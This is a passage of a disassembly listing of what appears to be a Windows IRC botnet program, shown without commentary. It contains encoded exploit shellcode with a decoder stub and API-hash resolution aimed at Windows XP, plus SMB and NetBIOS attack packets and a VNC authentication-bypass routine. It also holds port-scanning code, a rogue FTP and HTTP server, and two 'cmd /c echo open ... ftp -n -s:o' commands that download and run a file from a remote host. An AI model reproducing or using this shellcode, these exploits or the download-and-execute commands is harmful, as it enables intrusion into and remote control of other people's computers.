unk_4319B0 db 2Dh ; - ; DATA XREF: sub_40BACD+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start server, error: <%d>.',0 align 4 unk_4319E4 db 2Dh ; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: 